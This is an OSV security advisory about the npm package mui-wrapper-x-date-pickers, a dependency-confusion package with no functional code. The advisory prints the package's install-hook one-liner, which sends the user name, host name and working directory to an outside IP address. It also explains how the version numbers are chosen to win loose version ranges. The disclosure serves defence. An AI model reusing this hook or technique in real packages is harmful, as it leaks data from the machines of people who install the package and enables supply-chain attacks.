MAL-2026-18369

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/mui-wrapper-x-date-pickers/MAL-2026-18369.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-18369
Published
2026-10-27T20:45:00Z
Modified
2026-10-29T09:00:05Z
Summary
Malicious code in mui-wrapper-x-date-pickers (npm)
Details

mui-wrapper-x-date-pickers was published to npm on 2026-10-27 from 06:55:20 UTC by the account amahrou1w, about one minute after npm's staged-publish placeholder 0.0.0-stage, in versions 1.0.0, 10.0.0. The three packages mw-test-utils, mw-communication-client and mui-wrapper-x-date-pickers were published by the same account within eight minutes and are identical apart from the name. Each tarball has three files: index.js (module.exports = {}), README.md and package.json. The package has no repository, no functional code and no dependencies, and 10.0.0 is the latest version at the time of this report.

package.json declares a preinstall and a postinstall script, which npm runs on every install:

node -e "require('http').get('http://38.242.235.206/depconf/mui-wrapper-x-date-pickers/preinstall?u='+encodeURIComponent(process.env.USER||process.env.USERNAME||'')+'&h='+encodeURIComponent(require('os').hostname())+'&p='+encodeURIComponent(process.cwd())).on('error',()=>{})"

The postinstall script is the same request with the path /postinstall. Each install therefore sends the user name, the host name and the working directory of the installing machine over plain HTTP to the IP address 38.242.235.206. The README and the package description call the package a dependency-confusion proof of concept for a bug bounty program and say nothing else is done; the code matches that description. The name is a dependency-confusion candidate for an internal package of the named company, and the version numbers 1.0.0 and 10.0.0 are chosen so that a loose version range resolves to the public package. Nothing is executed beyond the two HTTP requests, and no data other than the three values above is sent.

Tarball sha256: 1.0.0: 32199161095f611bcc41a9d7ae4cbc2abde7b8f697f7decde2152723bd05bff9 10.0.0: b6b650ae811c65b52766a046a10622f638691406f2da8fa180d785d1ef1bdb81

Analysis was static only; nothing was executed.

Credits
    • r-bedekar - ANALYST

Affected packages

npm / mui-wrapper-x-date-pickers

Package

Name
mui-wrapper-x-date-pickers
View open source insights on deps.dev
Purl
pkg:npm/mui-wrapper-x-date-pickers

Affected ranges

Affected versions

1.*
1.0.0
10.*
10.0.0

Database specific

cwes
[
    {
        "cweId":  "CWE-506",
        "description":  "The product contains code that appears to be malicious in nature.",
        "name":  "Embedded Malicious Code"
    }
]
source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/mui-wrapper-x-date-pickers/MAL-2026-18369.json"